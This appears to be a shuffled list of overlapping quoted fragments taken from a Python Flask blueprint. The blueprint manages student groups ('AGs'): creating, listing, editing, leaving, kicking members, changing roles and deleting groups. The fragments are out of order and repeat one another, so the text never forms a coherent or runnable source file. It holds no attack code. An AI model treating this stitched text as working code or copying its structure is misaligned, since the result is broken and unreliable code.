"db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if",
"def kick_user(ag_name, user_name, ag, user_ag): ''' kick a user out of an ag",
"params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the roles of users in",
"as it should, the newly created AG is returned. ''' # read request",
"offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET'])",
"return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association entry, so the user",
"form for user_id in request.values: # the role the user got assigned to",
"the ag_id exist and add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag):",
"AG entry to the DB to create a new id db.session.add(ag) db.session.flush() #",
"ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json representation",
"default=0, type=int) # adjust to a max of 20 if count > 20:",
"ag dashboard with a error message flash(f'You cannot kick {user.username} from {ag.display_name}.') return",
"there are no mentors left elif not ag.mentors: # save a error message",
"many entries to skip :default: 0 :return: JSON Representation of the AGs '''",
"association and the ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag):",
"entry to the database and return a success message if value_changed: db.session.merge(ag) db.session.commit()",
"user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is an result for this user",
"from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import database",
"the values match the regex pattern # if something isn't right return a",
"id for which ag the provided values should be changed :return: ''' #",
"20 if count > 20: count = 20 # query all ags (with",
"users in an ag The Request body includes following: :key: <user_id>: unique database",
"of the ag to leave automatic filled params :param user_ag: database entry of",
"redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined @requires_auth() # check @requires_mentor()",
"the ag with the ag_id exist and add it to the params/kwargs @requires_ag()",
"is authenticated/logined @requires_auth() # check that the ag with the ag_name exist and",
"AGRegex # declare the blueprint variable for this blueprint bp = Blueprint('ag_api', __name__)",
"import db # import app with config etc. from app import app #",
"= get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not an",
"ag_name: ag_name of the ag to be edited automatic filled params :param user_ag:",
"the association and the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag):",
"actual user if edit_user_ag is None or edit_user_ag.role == 'NONE': # return to",
"and the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave",
"add the user_ag association and the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name,",
":return: If everything went as it should, the newly created AG is returned.",
"app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user import get_user_by_username #",
"newly created AG is returned. ''' # read request values name = request.values.get('name')",
"request.values.get('display_name') description = request.values.get('description') # check that the ag name and displayname is",
"read request params and set default if not set count = request.args.get('count', default=5,",
"ag_name: name of the ag to kick the user out :param user_name: username",
"dashboard ''' # delete the ag db.session.delete(ag) # save the changes db.session.commit() #",
"from werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance from app.models import db",
"entry, so the user is not a member of the ag anymore #",
"regex config for creating an ag from config.regex import AGRegex # declare the",
"= 'LEFT' # simulate the changes db.session.flush() # if there are no members",
"sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance",
"the ag_name exist and add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag):",
"request.values.get(user_id) # query the database entry of the association between the user to",
"association between the user to be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id",
"are no mentors left, but still members elif not ag.mentors: # return a",
"{user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association entry,",
"not used before and # check that the values match the regex pattern",
"entry to the DB to create a new id db.session.add(ag) db.session.flush() # Create",
"@bp.route('/', methods=['POST']) # check that the requester is authenticated/logined @requires_auth() def add_ag(): '''",
"if description is not None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed =",
"set count = request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int) # adjust",
"app.util.ag import requires_ag from app.util.user import get_user_by_username # import additional blueprints regarding applications,",
"by @requires_member_association :return: redirect to the dashboard ''' # delete the ag db.session.delete(ag)",
"authenticated/logined @requires_auth() # check that the ag with the ag_id exist and add",
"ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() # save a success message flash(f'You",
"= 'NONE' user_ag.status = 'LEFT' # simulate the changes db.session.flush() # if there",
"{ag.display_name}', 'success') return redirect(url_for('index')) # else if there are no mentors left elif",
"url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema",
"foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200",
"the form for user_id in request.values: # the role the user got assigned",
"edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is an",
"String with new description :param ag_id: AG id for which ag the provided",
"= request.values.get('display_name') description = request.values.get('description') # check that the ag name and displayname",
"include the following: :key: count: Int with the count how much ags to",
"AG() ag.name = name ag.display_name = display_name ag.description = description ag.color = request.values.get('color',",
"should be changed :return: ''' # read the request vaalues display_name = request.values.get('display_name',",
"database entry of the ag --> get filled by @requires_mentor :return: redirect to",
"values match the regex pattern # if something isn't right return a error",
"update the ag entry if display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name",
":default: 5 :key: offset: Int how many entries to skip :default: 0 :return:",
"if the requester is a member of the ag --> return the schema",
"display_name)): ag.display_name = display_name value_changed = True if description is not None and",
"ag :param ag_name: name of the ag to leave automatic filled params :param",
"not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or",
"if there is an result for this user <==> the user is in",
"if edit_user_ag: # update his role and simulate the changes edit_user_ag.role = role",
"request.values: # the role the user got assigned to be role = request.values.get(user_id)",
"re from flask import Blueprint, request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql",
":key: display_name: AG name that is human read able (can contain spaces etc.)",
"g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200",
"Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a",
"return a error message if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)):",
"and return with the saved success message to the dashboard db.session.commit() return redirect(url_for('index'))",
"a success message flash(f'You sucessfully left and deleted the AG {ag.name}', 'success') #",
"@requires_auth() # check that the ag with the ag_name exist and add it",
"= display_name value_changed = True if description is not None and bool(re.match(AGRegex.description, description)):",
"out of an ag :param ag_name: name of the ag to kick the",
"read the request vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed",
":return: JSON Representation of the AGs ''' # read request params and set",
"before and # check that the values match the regex pattern # if",
"AG name :return: JSON representation of the AG ''' # if the requester",
"AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester is authenticated/logined @requires_auth() def add_ag():",
"app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG # import utilities from",
"# import database models from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import",
"app.models.associations import UserAG # import utilities from app.util import requires_auth from app.util.assocations import",
"AG name used to identify the ag (eg. /ag/<name>) :key: display_name: AG name",
":key: description: A description of the AG :return: If everything went as it",
"to a max of 20 if count > 20: count = 20 #",
"associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is",
"there are no members left in the ag if not ag.actual_users: # delete",
"success message flash(f'You sucessfully left the AG {ag.name}', 'success') # save the cganges",
"# if the user is not a actual user of the ag #",
"and return to the ag dashboard flash(f'You cannot leave an AG, when there",
"the changes db.session.flush() # if there are no members left if not ag.actual_users:",
"name: A specific AG name :return: JSON representation of the AG ''' #",
"new display_name :key: description: String with new description :param ag_id: AG id for",
"should, the newly created AG is returned. ''' # read request values name",
"else: # save a success message flash(f'You sucessfully left the AG {ag.name}', 'success')",
"def add_ag(): ''' Create a new AG. The request body has to include",
"query the user and his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar()",
"app # import database models from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations",
"for every key in rquest values --> for every user/user_id passed by the",
"# import database instance from app.models import db # import app with config",
"kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush() #",
"ag and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted",
"that the ag with the ag_name exist and add it to the params/kwargs",
"a new id db.session.add(ag) db.session.flush() # Create the association entry to the creating",
"by its unique name :param name: A specific AG name :return: JSON representation",
"@requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values of an AG. The request",
"def update_users(ag_name, user_ag, ag): ''' Update the roles of users in an ag",
"how much ags to return --> if greater than 20, it will be",
"error message # dont save the changes to the database and return to",
"applications, invitations, messages # import regex config for creating an ag from config.regex",
"has a association to the ag # add the association and the ag",
"the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG specified by its",
"with new description :param ag_id: AG id for which ag the provided values",
"# if some value got changed, merge the entry to the database and",
"requester is authenticated/logined @requires_auth() # check that the ag with the ag_name exist",
"user is no member anymore and left the ag user_ag.role = 'NONE' user_ag.status",
"''' Change values of an AG. The request body may include the following:",
"user, so he is added as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id",
"database entry of the association between the user to be edited an the",
"--> return the schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\",
"assigned to be role = request.values.get(user_id) # query the database entry of the",
"specified by its id :param ag_id: A specific id :return: JSON representation of",
"contain spaces etc.) :key: description: A description of the AG :return: If everything",
"ag the provided values should be changed :return: ''' # read the request",
"be set to 20 :default: 5 :key: offset: Int how many entries to",
"are no mentors left elif not ag.mentors: # save a error message flash(f'You",
"check that the ag with the ag_name exist and add it to the",
"and set default if not set count = request.args.get('count', default=5, type=int) offset =",
"the ag to be edited automatic filled params :param user_ag: database entry of",
"None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True # if some",
"'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is authenticated/logined @requires_auth()",
"of {ag.display_name}', 'error') # else else: # save a success message and save",
"description value_changed = True # if some value got changed, merge the entry",
"ag # add the association and the ag to the params/kwargs @requires_member_association() def",
"declare the blueprint variable for this blueprint bp = Blueprint('ag_api', __name__) # register",
"from app.util.user import get_user_by_username # import additional blueprints regarding applications, invitations and messages",
"--> return the schema for a member # else --> return the schema",
"be edited automatic filled params :param user_ag: database entry of the association bewteen",
"exist and add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query",
"# import regex config for creating an ag from config.regex import AGRegex #",
"if there are no members left in the ag if not ag.actual_users: #",
"a member of the ag anymore # and his status is kicked edit_user_ag.role",
"if the requester has a association to the ag # add the association",
"authenticated/logined @requires_auth() # check that the requester is a mentor of the ag",
"message flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else #",
"True if description is not None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed",
"user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate the changes db.session.flush() # if",
"ag from config.regex import AGRegex # declare the blueprint variable for this blueprint",
"AG is returned. ''' # read request values name = request.values.get('name') display_name =",
"the requester is a member of the ag --> return the schema for",
"the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the specified ag :param",
"body may include the following: :key: count: Int with the count how much",
"'KICKED' # simulate the changes db.session.flush() # if there are no members left",
"= False # checks if the display_name or description got transmitted # if",
"20 :default: 5 :key: offset: Int how many entries to skip :default: 0",
"the user_ag association and the ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name,",
"may include the following: :key: count: Int with the count how much ags",
"create a new database AG entry ag: AG = AG() ag.name = name",
"ag_name of the ag to be edited automatic filled params :param user_ag: database",
"for user_id in request.values: # the role the user got assigned to be",
"'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a success message flash(f'You",
"the requester is authenticated/logined @requires_auth() def add_ag(): ''' Create a new AG. The",
"dashboard flash(f'You cannot leave an AG, when there is no Mentor left afterwards',",
"and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>',",
"ags to return --> if greater than 20, it will be set to",
"'success') return redirect(url_for('index')) # else if there are no mentors left elif not",
"to the dashboard ''' # if the user is not a actual user",
"to the dashboard with a success message flash(f'You successfully deleted the AG {ag.display_name}',",
"to be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id ==",
"body may include the following: :key: display_name: String with new display_name :key: description:",
"# delete the ag and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully",
"or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar()",
"the requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to 20 ags",
"an ag The Request body includes following: :key: <user_id>: unique database id of",
"import regex config for creating an ag from config.regex import AGRegex # declare",
"variable for this blueprint bp = Blueprint('ag_api', __name__) # register the additional blueprints",
"# check that the values match the regex pattern # if something isn't",
"db.session.commit() flash(f'You sucessfully left and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) #",
"# read the request vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None)",
"The request body has to include the following: :key: name: AG name used",
"if user_ag.role == 'NONE': flash('You cannot leave an AG you are not in',",
"ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add the association entry and",
"def change_ag_values(ag_id, ag, user_ag): ''' Change values of an AG. The request body",
"jsonify, g, url_for, flash, redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import",
"the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if there are no mentors",
"so the user is not a member of the ag anymore # and",
"new description :param ag_id: AG id for which ag the provided values should",
"is authenticated/logined @requires_auth() # check if the requester has a association to the",
"== 'NONE': # return to the ag dashboard with a error message flash(f'You",
"a error message flash(f'You cannot kick the last Mentor of {ag.display_name}', 'error') #",
"the database and return with the saved success message to the dashboard db.session.commit()",
"dashboard ''' # query the user and his associatin user = get_user_by_username(user_name) edit_user_ag",
"the user got assigned to be role = request.values.get(user_id) # query the database",
"its unique name :param name: A specific AG name :return: JSON representation of",
"== user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is an result for this",
"values --> for every user/user_id passed by the form for user_id in request.values:",
"the specified ag :param ag_name: name of the ag to leave automatic filled",
"of ags from app.blueprints.api.v1.ag import applications, invitations, messages # import regex config for",
"body has to include the following: :key: name: AG name used to identify",
"return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors # --> save changes",
"in rquest values --> for every user/user_id passed by the form for user_id",
"String with new display_name :key: description: String with new description :param ag_id: AG",
"description)): return jsonify({'reason': 'description'}), 400 # create a new database AG entry ag:",
"ag if edit_user_ag: # update his role and simulate the changes edit_user_ag.role =",
"with a success message flash(f'You successfully deleted the AG {ag.display_name}', 'success') return redirect(url_for('index'))",
"the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an ag :param ag_name:",
"the database and return a success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status':",
"db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else return a BadRequest message else:",
"be deleted automatic filled params :param user_ag: database entry of the association bewteen",
"of the ag anymore # and his status is kicked edit_user_ag.role = 'NONE'",
"= request.values.get(user_id) # query the database entry of the association between the user",
"new AG. The request body has to include the following: :key: name: AG",
"# else return a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) # check",
"an result for this user <==> the user is in the ag if",
"following: :key: name: AG name used to identify the ag (eg. /ag/<name>) :key:",
"the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there",
"the ag db.session.delete(ag) # save the changes db.session.commit() # return to the dashboard",
"request body may include the following: :key: count: Int with the count how",
"set default if not set count = request.args.get('count', default=5, type=int) offset = request.args.get('offset',",
"name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name ==",
"--> get filled by @requires_member_association :param ag: database entry of the ag -->",
"the entry to the database and return a success message if value_changed: db.session.merge(ag)",
"that the requester is authenticated/logined @requires_auth() # check that the ag with the",
"kick a user out of an ag :param ag_name: name of the ag",
"out automatic filled params :param user_ag: database entry of the association bewteen the",
"get_all_ags(): ''' Query up to 20 ags The request body may include the",
"name of the ag to kick the user out :param user_name: username of",
"the ag db.session.delete(ag) db.session.flush() # save a success message flash(f'You sucessfully left and",
"a error message if user_ag.role == 'NONE': flash('You cannot leave an AG you",
"deleted automatic filled params :param user_ag: database entry of the association bewteen the",
":key: offset: Int how many entries to skip :default: 0 :return: JSON Representation",
"= db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is an result",
"@bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check that",
"for this blueprint bp = Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp,",
"is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to 20 ags The request",
"params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG specified by its id",
"description is not None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True",
"# check @requires_mentor() # check that the requester is a mentor of the",
"# add the user_ag association and the ag to the params/kwargs @requires_mentor() def",
"display_name: String with new display_name :key: description: String with new description :param ag_id:",
"not ag.mentors: # save a error message flash(f'You cannot kick the last Mentor",
"@requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an ag :param ag_name: name of",
"return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is authenticated/logined @requires_auth() #",
"mentors # --> save changes to the database and redirect to the ag",
"description)): ag.description = description value_changed = True # if some value got changed,",
"message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the requester",
"checks if the display_name or description got transmitted # if so update the",
"to leave automatic filled params :param user_ag: database entry of the association bewteen",
"blueprint routes for interacting with an AG ''' # import third party modules",
"params and set default if not set count = request.args.get('count', default=5, type=int) offset",
"if not set count = request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int)",
"''' leave the specified ag :param ag_name: name of the ag to leave",
"check that the requester is authenticated/logined @requires_auth() # check if the requester has",
"the user and his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() #",
"ag, user_ag): ''' Change values of an AG. The request body may include",
"check that the requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to",
"UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) #",
"redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a success message flash(f'You sucessfully left",
"changes edit_user_ag.role = role db.session.flush() # if there are no mentors left if",
":key: description: String with new description :param ag_id: AG id for which ag",
"messages of ags from app.blueprints.api.v1.ag import applications, invitations, messages # import regex config",
"''' Query an AG specified by its unique name :param name: A specific",
"than 20, it will be set to 20 :default: 5 :key: offset: Int",
"the cganges to the database and return with the saved success message to",
"db.session.flush() # if there are no members left if not ag.actual_users: # delete",
"id :param ag_id: A specific id :return: JSON representation of the AG '''",
"the following: :key: count: Int with the count how much ags to return",
"the dashboard ''' # if the user is not a actual user of",
"following: :key: display_name: String with new display_name :key: description: String with new description",
"routes for interacting with an AG ''' # import third party modules import",
"unique database id of the user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT'",
"is returned. ''' # read request values name = request.values.get('name') display_name = request.values.get('display_name')",
"entry of the ag --> get filled by @requires_mentor :return: redirect to the",
"add_ag(): ''' Create a new AG. The request body has to include the",
"= request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') # check that the ag",
"<user_id>: unique database id of the user --> :value: <role> --> 'MENTOR' or",
"# else if there are no mentors left elif not ag.mentors: # save",
"success message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that the",
"member # else --> return the schema for a foreign if db.session.query(exists().where(UserAG.user_id ==",
"with the ag_id exist and add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id,",
"'error') # else else: # save a success message and save the changes",
"value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else return a BadRequest message",
"@requires_auth() def add_ag(): ''' Create a new AG. The request body has to",
"bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True # if some value got",
"# --> save changes to the database and redirect to the ag dashboard",
"foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200",
"check that the requester is authenticated/logined @requires_auth() # check @requires_mentor() # check that",
"be kicked out automatic filled params :param user_ag: database entry of the association",
"changes db.session.add(user_ag) db.session.commit() # return a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag',",
"def leave_ag(ag_name, ag, user_ag): ''' leave the specified ag :param ag_name: name of",
"to the database and return to the ag dashboard flash(f'You cannot leave an",
"= 'KICKED' # simulate the changes db.session.flush() # if there are no members",
"import get_user_by_username # import additional blueprints regarding applications, invitations and messages of ags",
"of an ag :param ag_name: name of the ag to kick the user",
":param ag_name: ag_name of the ag to be edited automatic filled params :param",
"the ag to kick the user out :param user_name: username of the user",
"count: Int with the count how much ags to return --> if greater",
"if display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed =",
"20, it will be set to 20 :default: 5 :key: offset: Int how",
"else else: # save a success message and save the changes to the",
"so update the ag entry if display_name is not None and bool(re.match(AGRegex.display_name, display_name)):",
"message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that",
"request.values.get('description') # check that the ag name and displayname is not used before",
"@requires_auth() # check that the ag with the ag_id exist and add it",
"'NONE': flash('You cannot leave an AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard',",
"representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is authenticated/logined @requires_auth()",
"ag db.session.delete(ag) db.session.flush() # save a success message flash(f'You sucessfully left and deleted",
"params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG specified by its unique",
"include the following: :key: display_name: String with new display_name :key: description: String with",
"jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return",
"is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush()",
"edit_user_ag.role = role db.session.flush() # if there are no mentors left if not",
"additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas",
"the ag dashboard flash(f'You cannot leave an AG, when there is no Mentor",
"to the ag dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success') return",
"app import app # import database models from app.models.ag import AG, AGSchema, AGSchemaIntern",
"get_ag_by_name(ag_name, ag): ''' Query an AG specified by its unique name :param name:",
"of the association bewteen the request user and the ag --> get filled",
"to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the AG {ag.display_name}',",
"display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed = False # checks",
":key: <user_id>: unique database id of the user --> :value: <role> --> 'MENTOR'",
"error message if user_ag.role == 'NONE': flash('You cannot leave an AG you are",
"# if so update the ag entry if display_name is not None and",
"in the ag if edit_user_ag: # update his role and simulate the changes",
"= UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role =",
"get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not an actual",
"member anymore and left the ag user_ag.role = 'NONE' user_ag.status = 'LEFT' #",
"return with the saved success message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>')",
"= name ag.display_name = display_name ag.description = description ag.color = request.values.get('color', default='primary') #",
"import requires_ag from app.util.user import get_user_by_username # import additional blueprints regarding applications, invitations",
"user to be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id",
"the ag --> get filled by @requires_member_association :param ag: database entry of the",
"> 20: count = 20 # query all ags (with limit and offset)",
"app.models import db # import app with config etc. from app import app",
"the ag # add the association and the ag to the params/kwargs @requires_member_association()",
"--> get filled by @requires_mentor :param ag: database entry of the ag -->",
"this user <==> the user is in the ag if edit_user_ag: # update",
"limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags)",
"ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester",
"# import app with config etc. from app import app # import database",
"the user is not an actual user if edit_user_ag is None or edit_user_ag.role",
"= AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that the requester is",
"the ag if edit_user_ag: # update his role and simulate the changes edit_user_ag.role",
"leave automatic filled params :param user_ag: database entry of the association bewteen the",
"to 20 ags The request body may include the following: :key: count: Int",
"for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return",
"is not a actual user of the ag # return a error message",
"a max of 20 if count > 20: count = 20 # query",
"# and his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED' #",
"\\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET'])",
"url_for, flash, redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed",
"with the ag_name exist and add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name,",
"filled params :param user_ag: database entry of the association bewteen the request user",
"a error message # dont save the changes to the database and return",
"an actual user if edit_user_ag is None or edit_user_ag.role == 'NONE': # return",
"ag, user_ag): ''' delete an ag :param ag_name: name of the ag to",
"basic blueprint routes for interacting with an AG ''' # import third party",
"'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is authenticated/logined",
"the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow",
"name: AG name used to identify the ag (eg. /ag/<name>) :key: display_name: AG",
"= db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not an actual user if",
"specific id :return: JSON representation of the AG ''' # if the requester",
"is in the ag if edit_user_ag: # update his role and simulate the",
"it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG specified",
"ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the specified",
"@requires_auth() # check @requires_mentor() # check that the requester is a mentor of",
"flash(f'You sucessfully left the AG {ag.name}', 'success') # save the cganges to the",
"requester is a mentor of the ag # add the user_ag association and",
"db.session.delete(ag) db.session.flush() # save a success message flash(f'You sucessfully left and deleted the",
"all_ags = AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) #",
"get filled by @requires_member_association :return: redirect to the dashboard ''' # query the",
"# return a error message if user_ag.role == 'NONE': flash('You cannot leave an",
"request user and the ag --> get filled by @requires_member_association :param ag: database",
"The Request body includes following: :key: <user_id>: unique database id of the user",
"of the association between the user to be edited an the ag edit_user_ag",
"params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick a user out of",
"db.session.delete(ag) # save the changes db.session.commit() # return to the dashboard with a",
"offset = request.args.get('offset', default=0, type=int) # adjust to a max of 20 if",
"elif not ag.mentors: # save a error message flash(f'You cannot kick the last",
"== ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check",
"= Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp,",
"mentor of the ag # add the user_ag association and the ag to",
"from app.models import db # import app with config etc. from app import",
"request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int) # adjust to a max",
"specified ag :param ag_name: name of the ag to leave automatic filled params",
"provided values should be changed :return: ''' # read the request vaalues display_name",
